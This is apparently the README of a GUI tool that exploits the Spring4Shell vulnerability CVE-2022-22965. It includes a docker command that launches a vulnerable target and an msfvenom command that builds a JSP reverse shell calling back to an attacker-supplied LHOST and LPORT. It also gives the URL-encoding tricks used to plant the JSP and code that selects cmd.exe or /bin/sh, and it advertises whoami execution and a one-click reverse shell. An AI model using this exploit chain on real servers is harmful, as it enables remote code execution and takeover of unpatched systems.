iloveflag/fast-cve-2022-22965CVE-2022-22965图形化检测工具
Target Machine
docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest
Reverse shell essentially references msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp
After URL encoding the JSP, use
%3C%25 replaces %25%7Bc2%7Di representing <%
%25%3E replaces %25%7Bsuffix%7Di representing %>
In the code, the shellpath is modified based on different server types
if self.radioButton_win.isChecked():
shellpath = "cmd.exe"
if self.radioButton_linux.isChecked():
shellpath = "/bin/sh"
Command execution:
whoami detection:
One-click reverse shell
